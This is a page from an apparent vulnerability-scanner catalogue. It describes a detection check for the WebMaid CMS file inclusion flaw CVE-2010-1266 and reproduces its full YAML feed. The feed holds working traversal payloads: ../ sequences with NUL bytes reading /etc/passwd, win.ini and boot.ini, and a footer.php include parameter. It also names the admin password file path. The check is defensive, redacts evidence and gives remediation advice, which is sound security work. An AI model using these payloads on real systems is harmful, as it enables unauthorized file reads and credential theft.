WebMaid — 1 vulnerability check

noctis ships 1 vulnerability check for WebMaid, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

WebMaid CMS File Inclusion

CVECVE-2010-1266
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match, script · highest QoD 75
Feedtests/vulnerabilities/webmaid/CVE-2010-1266.yaml

Tests WebMaid CMS (0.2-6 Beta and earlier) for its unauthenticated file inclusion flaws. Under the usual WebMaid folder locations (/webmaid, /cms, /cms/cms02-6b, the web root) the feed first requests cArticle.php with the com parameter set to a ../ sequence ending in etc/passwd and a NUL byte (%00) that cuts off the .txt suffix, then windows/win.ini and boot.ini. When nothing comes back, it requests cArticle.php with com, cid and id pointing to the TinyMCE license.txt shipped in WebMaid's admin folder, outside the com folder; this read keeps the .txt suffix, so it also works on PHP 5.3.4 and later. Last, it requests template/wm025/footer.php with the copyright parameter set to /etc/passwd (then c:/windows/win.ini), the include parameter that works when register_globals is on. The content of the file in the reply confirms the inclusion. A control request for an absent random file through the same parameter must come back without any of these files, so a server that serves the same content on every request is not reported. Only world-readable system files and a shipped license file are read. The account name (unless root), password field and gecos of the uid-0 line are redacted from the evidence.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/cArticle.php?com=../../../../../../../../../../../../../../etc/passwd%00
  2. Checks art_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/cArticle.php?com=../../../../../../../../../../../../../../windows/win.ini%00
  5. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  6. HTTP(S) request GET {{dir}}/cArticle.php?com=../../../../../../../../../../../../../../boot.ini%00
  7. Checks bootini_r.body for (?i)\[boot loader\]
  8. HTTP(S) request GET {{dir}}/cArticle.php?com=../admin/tinymce/jscripts/tiny_mce&cid=.&id=license
  9. Checks lic_r.body for GNU LIBRARY GENERAL PUBLIC LICENSE\s+Version 2, June 1991
  10. HTTP(S) request GET {{dir}}/template/wm025/footer.php?copyright=/etc/passwd
  11. Checks foot_r.body for (?m)(?:^|>)([^:\r\n<>]+):[^:\r\n]*:0:([0-9]+):[^:\r\n]*:([^:\r\n]*:[^…
  12. Parses / computes the next value with a Rhai script
  13. HTTP(S) request GET {{dir}}/template/wm025/footer.php?copyright=c:/windows/win.ini
  14. Checks footwin_r.body for (?i)(; for 16-bit app support|\[fonts\])
  15. … and 8 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/webmaid/CVE-2010-1266.yaml
# WebMaid CMS file inclusion — CVE-2010-1266
#
# WebMaid CMS 0.2-6 Beta and earlier (a flat-file PHP/XML CMS, Google Code
# project "webmaidcms", unmaintained, no fixed release) includes files named
# from the request with no check. Read from the real 0.2-6 Beta source
# (WEBMAID02-6B_19012007.zip):
#   - config/headers.php:   $com = $_GET['com']; $cid = $_GET['cid']; $id = $_GET['id'];
#     cArticle.php:         include ("./com/$com/$cid/$id.txt");
#     (cContactus.php and cGuestbook.php do the same.) No register_globals
#     needed. "../" leaves com/; on PHP < 5.3.4 (magic_quotes_gpc off) a NUL
#     byte (%00) cuts the ".txt" suffix and any readable file is included
#     (magic_quotes_gpc is On by default before PHP 5.4, which breaks this
#     NUL read on many default old installs — hence request 2 below).
#   - template/wm025/footer.php: include ("$modules"); ... include ("$copyright");
#     (also template/calm/*, template/babyweb/index.php) — the CVE-2010-1266
#     remote file inclusion: with register_globals on, the parameter is the
#     whole include path (a URL with allow_url_include, a local path always).
#
# Detection (benign, read-only), per WebMaid folder location:
#   1. GET <dir>/cArticle.php?com=<14 x ../>etc/passwd%00 — /etc/passwd content
#      (then windows/win.ini, boot.ini when the page answers 200 without it).
#   2. If 1 gave nothing: GET <dir>/cArticle.php?com=../admin/tinymce/jscripts/tiny_mce&cid=.&id=license
#      — the ".txt" suffix is kept, so no NUL byte is needed: the reply carries
#      the TinyMCE license.txt shipped in WebMaid's admin/ folder, OUTSIDE com/.
#      Works on any PHP version.
#   3. If 1 and 2 gave nothing: GET <dir>/template/wm025/footer.php?copyright=/etc/passwd
#      (then c:/windows/win.ini) — the CVE's own include parameter, with a
#      local absolute path (needs register_globals, no NUL byte, no URL).
# QoD 75 (response analysis). %00 in the query goes out verbatim through
# http_request.
#
# Improvements over the source NASL (which only sends request 1):
#   - Request 2 proves the traversal on installs running PHP >= 5.3.4 (or with
#     magic_quotes_gpc on), where the NUL-byte read can no longer work; the
#     NASL misses all of those.
#   - Request 3 exercises the include parameter CVE-2010-1266 actually names
#     (template footer), so installs with cArticle.php removed are still found.
#   - Linux and Windows system files are tried without relying on OS detection.
#   - A control request (same request, a path in an absent random directory
#     that still ends with the file that hit) must come back WITHOUT any of
#     these files and with the same HTTP status (fail-closed), so a blanket
#     responder or a honeypot keyed on the file name is not reported.
#   - The account name (unless "root"), password field and gecos of the uid-0
#     line are redacted before they reach the finding.
#
# CVSS: CVE-2010-1266 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2010/gb_webmaid_38993.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100559, GPL-2.0-only).
uid: 083cdf12-431e-4b2a-9167-5e9e3605f4ec
name: "WebMaid CMS File Inclusion (CVE-2010-1266)"
description: |
  Tests WebMaid CMS (0.2-6 Beta and earlier) for its unauthenticated file
  inclusion flaws. Under the usual WebMaid folder locations (/webmaid, /cms,
  /cms/cms02-6b, the web root) the feed first requests cArticle.php with the
  com parameter set to a ../ sequence ending in etc/passwd and a NUL byte
  (%00) that cuts off the .txt suffix, then windows/win.ini and boot.ini.
  When nothing comes back, it requests cArticle.php with com, cid and id
  pointing to the TinyMCE license.txt shipped in WebMaid's admin folder,
  outside the com folder; this read keeps the .txt suffix, so it also works
  on PHP 5.3.4 and later. Last, it requests template/wm025/footer.php with
  the copyright parameter set to /etc/passwd (then c:/windows/win.ini), the
  include parameter that works when register_globals is on. The content of
  the file in the reply confirms the inclusion. A control request for an
  absent random file through the same parameter must come back without any
  of these files, so a server that serves the same content on every request
  is not reported. Only world-readable system files and a shipped license
  file are read. The account name (unless root), password field and gecos of
  the uid-0 line are redacted from the evidence.
cves: [CVE-2010-1266]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [webmaid, php, lfi, rfi, local-file-inclusion, path-traversal, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-1266"
  - "https://www.exploit-db.com/exploits/11831"
  - "http://www.securityfocus.com/bid/38993"
  # OpenVAS/Greenbone NASL 2010/gb_webmaid_38993.nasl (GPL-2.0-only)

steps:
  # ── Loop group: every following step runs once per WebMaid folder location.
  # Each pass resets the values it reads, so nothing is left over.
  - id: init-art-r
    action: set_var
    var_name: art_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/webmaid", "/cms", "/cms/cms02-6b", ""]

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-bootini-r
    action: set_var
    var_name: bootini_r
    var_value: {status: 0, body: ""}

  - id: init-lic-r
    action: set_var
    var_name: lic_r
    var_value: {status: 0, body: ""}

  - id: init-foot-r
    action: set_var
    var_name: foot_r
    var_value: {status: 0, body: ""}

  - id: init-footwin-r
    action: set_var
    var_name: footwin_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-lin-proof
    action: set_var
    var_name: lin_proof
    var_value: ""

  - id: init-win-file
    action: set_var
    var_name: win_file
    var_value: ""

  - id: init-lic-hit
    action: set_var
    var_name: lic_hit
    var_value: false

  - id: init-foot-proof
    action: set_var
    var_name: foot_proof
    var_value: ""

  - id: init-footwin-hit
    action: set_var
    var_name: footwin_hit
    var_value: false

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  # ── 1. cArticle.php com + NUL byte: /etc/passwd ──────────────────────────
  - id: read-art-passwd
    action: http_request
    method: GET
    path: "{{dir}}/cArticle.php?com=../../../../../../../../../../../../../../etc/passwd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: art_r

  # No on_match: the raw body must not become evidence.
  # name:pw:0:gid:gecos:home:shell — only the name, gid and home:shell are captured.
  - id: art-passwd-content
    action: match
    source: art_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: art_m

  - id: art-passwd-redact
    action: script
    code: |
      if art_m.matched && art_m.captures.len() > 2 {
        let name = art_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + art_m.captures[1] + ":<redacted>:" + art_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + art_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: lin_proof

  # Windows: windows/win.ini, then boot.ini — only when cArticle.php answered
  # (200) and the Linux read gave nothing.
  - id: read-art-winini
    action: http_request
    method: GET
    path: "{{dir}}/cArticle.php?com=../../../../../../../../../../../../../../windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && art_r.status == 200'
    store_as: winini_r

  - id: art-winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && art_r.status == 200'
    on_match:
      set_vars:
        win_file: "windows/win.ini"

  - id: read-art-bootini
    action: http_request
    method: GET
    path: "{{dir}}/cArticle.php?com=../../../../../../../../../../../../../../boot.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file == "" && art_r.status == 200'
    store_as: bootini_r

  - id: art-bootini-content
    action: match
    source: bootini_r.body
    pattern: "(?i)\\[boot loader\\]"
    condition: 'lin_proof == "" && win_file == "" && art_r.status == 200'
    on_match:
      set_vars:
        win_file: "boot.ini"

  # ── 2. cArticle.php com/cid/id → admin/tinymce/.../license.txt (no NUL) ──
  # ./com/../admin/tinymce/jscripts/tiny_mce/./license.txt — a file outside
  # com/, read with the ".txt" suffix intact: works on any PHP version.
  - id: read-license
    action: http_request
    method: GET
    path: "{{dir}}/cArticle.php?com=../admin/tinymce/jscripts/tiny_mce&cid=.&id=license"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file == ""'
    store_as: lic_r

  - id: license-content
    action: match
    source: lic_r.body
    pattern: "GNU LIBRARY GENERAL PUBLIC LICENSE\\s+Version 2, June 1991"
    condition: 'lin_proof == "" && win_file == ""'
    on_match:
      set_vars:
        lic_hit: true

  # ── 3. template/wm025/footer.php copyright (register_globals) ────────────
  - id: read-foot-passwd
    action: http_request
    method: GET
    path: "{{dir}}/template/wm025/footer.php?copyright=/etc/passwd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file == "" && lic_hit == false'
    store_as: foot_r

  # foot_r is pre-set to an empty body, so this never matches when skipped.
  - id: foot-passwd-content
    action: match
    source: foot_r.body
    pattern: "(?m)(?:^|>)([^:\\r\\n<>]+):[^:\\r\\n]*:0:([0-9]+):[^:\\r\\n]*:([^:\\r\\n]*:[^:\\r\\n<]*)"
    store_as: foot_m

  - id: foot-passwd-redact
    action: script
    code: |
      if foot_m.matched && foot_m.captures.len() > 2 {
        let name = foot_m.captures[0];
        name.trim();
        if name == "root" {
          "root:<redacted>:0:" + foot_m.captures[1] + ":<redacted>:" + foot_m.captures[2]
        } else {
          "<redacted>:<redacted>:0:" + foot_m.captures[1] + ":<redacted>:<redacted>"
        }
      } else { "" }
    store_as: foot_proof

  - id: read-foot-winini
    action: http_request
    method: GET
    path: "{{dir}}/template/wm025/footer.php?copyright=c:/windows/win.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lin_proof == "" && win_file == "" && lic_hit == false && foot_proof == "" && foot_r.status == 200'
    store_as: footwin_r

  - id: foot-winini-content
    action: match
    source: footwin_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'lin_proof == "" && win_file == "" && lic_hit == false && foot_proof == "" && foot_r.status == 200'
    on_match:
      set_vars:
        footwin_hit: true

  # ── Which request hit, and its control ───────────────────────────────────
  # The control path sits in a random missing directory but still ENDS with
  # the file that hit, so a honeypot keying a fake file on that name or path
  # suffix answers it too.
  - id: select
    action: script
    code: |
      let up = "../../../../../../../../../../../../../../";
      let absent = "noctis-absent-" + oob_token;
      if lin_proof != "" {
        #{ kind: "art-passwd", path: "cArticle.php?com=" + up + "etc/passwd%00",
           ctrl: "cArticle.php?com=" + up + absent + "/etc/passwd%00", status: art_r.status }
      } else if win_file != "" {
        let st = if win_file == "boot.ini" { bootini_r.status } else { winini_r.status };
        #{ kind: "art-windows", path: "cArticle.php?com=" + up + win_file + "%00",
           ctrl: "cArticle.php?com=" + up + absent + "/" + win_file + "%00", status: st }
      } else if lic_hit {
        #{ kind: "license", path: "cArticle.php?com=../admin/tinymce/jscripts/tiny_mce&cid=.&id=license",
           ctrl: "cArticle.php?com=../admin/" + absent + "/tinymce/jscripts/tiny_mce&cid=.&id=license", status: lic_r.status }
      } else if foot_proof != "" {
        #{ kind: "foot-passwd", path: "template/wm025/footer.php?copyright=/etc/passwd",
           ctrl: "template/wm025/footer.php?copyright=/" + absent + "/etc/passwd", status: foot_r.status }
      } else if footwin_hit {
        #{ kind: "foot-windows", path: "template/wm025/footer.php?copyright=c:/windows/win.ini",
           ctrl: "template/wm025/footer.php?copyright=c:/" + absent + "/windows/win.ini", status: footwin_r.status }
      } else {
        #{ kind: "", path: "", ctrl: "", status: 0 }
      }
    store_as: sel

  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/{{sel.ctrl}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'sel.kind != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?mi)((?:^|>)[^:\\r\\n<>]+:[^:\\r\\n]*:0:[0-9]+:|; for 16-bit app support|\\[fonts\\]|\\[boot loader\\]|GNU LIBRARY GENERAL PUBLIC LICENSE)"
    condition: 'sel.kind != ""'
    on_match:
      set_vars:
        ctrl_hit: true

  # ── Findings (control answered with the same status and stayed clean) ────
  - id: report-art-passwd
    action: match
    source: lin_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: 'sel.kind == "art-passwd" && ctrl_r.status != 0 && ctrl_r.status == sel.status && ctrl_hit == false'
    on_match:
      finding:
        title: "WebMaid CMS File Inclusion (CVE-2010-1266)"
        description: "An unauthenticated request to cArticle.php with the com parameter set to a ../ sequence ending in etc/passwd and a NUL byte returned the content of /etc/passwd, while the same request for an absent file did not. WebMaid includes ./com/<com>/<cid>/<id>.txt straight from the request, so the same flaw reads any file the web server user can read, such as the admin password file admin/phpAuth_users.txt, and runs any PHP code found in an included file."
        remediation: "Remove WebMaid CMS (unmaintained, no fixed release) from the server. Until then, block requests to cArticle.php, cContactus.php, cGuestbook.php and the template/ PHP files whose com, cid, id, copyright, modules, menu, events, template or SITEROOT parameters hold anything but letters, digits and underscores, turn register_globals off and run PHP 5.3.4 or later."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/{{sel.path}} returned /etc/passwd; control for an absent file returned no file content ({{lin_proof}})"
      stop: true

  - id: report-art-windows
    action: match
    source: sel.kind
    pattern: "^art-windows$"
    condition: 'sel.kind == "art-windows" && ctrl_r.status != 0 && ctrl_r.status == sel.status && ctrl_hit == false'
    on_match:
      finding:
        title: "WebMaid CMS File Inclusion (CVE-2010-1266)"
        description: "An unauthenticated request to cArticle.php with the com parameter set to a ../ sequence ending in a Windows system file and a NUL byte returned that file's content, while the same request for an absent file did not. WebMaid includes ./com/<com>/<cid>/<id>.txt straight from the request, so the same flaw reads any file the web server user can read, such as the admin password file admin/phpAuth_users.txt, and runs any PHP code found in an included file."
        remediation: "Remove WebMaid CMS (unmaintained, no fixed release) from the server. Until then, block requests to cArticle.php, cContactus.php, cGuestbook.php and the template/ PHP files whose com, cid, id, copyright, modules, menu, events, template or SITEROOT parameters hold anything but letters, digits and underscores, turn register_globals off and run PHP 5.3.4 or later."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/{{sel.path}} returned the content of {{win_file}}; control for an absent file returned no file content"
      stop: true

  - id: report-license
    action: match
    source: sel.kind
    pattern: "^license$"
    condition: 'sel.kind == "license" && ctrl_r.status != 0 && ctrl_r.status == sel.status && ctrl_hit == false'
    on_match:
      finding:
        title: "WebMaid CMS File Inclusion (CVE-2010-1266)"
        description: "An unauthenticated request to cArticle.php with com, cid and id pointing to ../admin/tinymce/jscripts/tiny_mce/./license returned the TinyMCE license.txt shipped in WebMaid's admin folder, outside the com folder the page is meant to read from, while the same request through an absent folder did not. WebMaid includes ./com/<com>/<cid>/<id>.txt straight from the request; this read needs no NUL byte, so it works on any PHP version and reaches every .txt file the web server user can read, such as the admin password file admin/phpAuth_users.txt (on PHP before 5.3.4 any file at all)."
        remediation: "Remove WebMaid CMS (unmaintained, no fixed release) from the server. Until then, block requests to cArticle.php, cContactus.php, cGuestbook.php and the template/ PHP files whose com, cid, id, copyright, modules, menu, events, template or SITEROOT parameters hold anything but letters, digits and underscores, turn register_globals off and run PHP 5.3.4 or later."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/{{sel.path}} returned the TinyMCE license.txt (\"GNU LIBRARY GENERAL PUBLIC LICENSE, Version 2, June 1991\") from admin/tinymce/jscripts/tiny_mce/; control through an absent folder returned no file content"
      stop: true

  - id: report-foot-passwd
    action: match
    source: foot_proof
    pattern: "^(?:root|<redacted>):<redacted>:0:[0-9]+:"
    condition: 'sel.kind == "foot-passwd" && ctrl_r.status != 0 && ctrl_r.status == sel.status && ctrl_hit == false'
    on_match:
      finding:
        title: "WebMaid CMS File Inclusion (CVE-2010-1266)"
        description: "An unauthenticated request to template/wm025/footer.php with the copyright parameter set to /etc/passwd returned the content of /etc/passwd, while the same request for an absent file did not. The template includes the path held in copyright as-is (register_globals is on), so the same flaw reads any file the web server user can read and, with allow_url_include on, runs PHP code fetched from a remote URL."
        remediation: "Remove WebMaid CMS (unmaintained, no fixed release) from the server. Until then, turn register_globals off, deny direct requests to the template/ folder's PHP files and set allow_url_include off."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/{{sel.path}} returned /etc/passwd; control for an absent file returned no file content ({{foot_proof}})"
      stop: true

  - id: report-foot-windows
    action: match
    source: sel.kind
    pattern: "^foot-windows$"
    condition: 'sel.kind == "foot-windows" && ctrl_r.status != 0 && ctrl_r.status == sel.status && ctrl_hit == false'
    on_match:
      finding:
        title: "WebMaid CMS File Inclusion (CVE-2010-1266)"
        description: "An unauthenticated request to template/wm025/footer.php with the copyright parameter set to c:/windows/win.ini returned the content of win.ini, while the same request for an absent file did not. The template includes the path held in copyright as-is (register_globals is on), so the same flaw reads any file the web server user can read and, with allow_url_include on, runs PHP code fetched from a remote URL."
        remediation: "Remove WebMaid CMS (unmaintained, no fixed release) from the server. Until then, turn register_globals off, deny direct requests to the template/ folder's PHP files and set allow_url_include off."
        confidence_delta: 0.55
        qod: 75
        evidence: "{{dir}}/{{sel.path}} returned the content of windows/win.ini; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub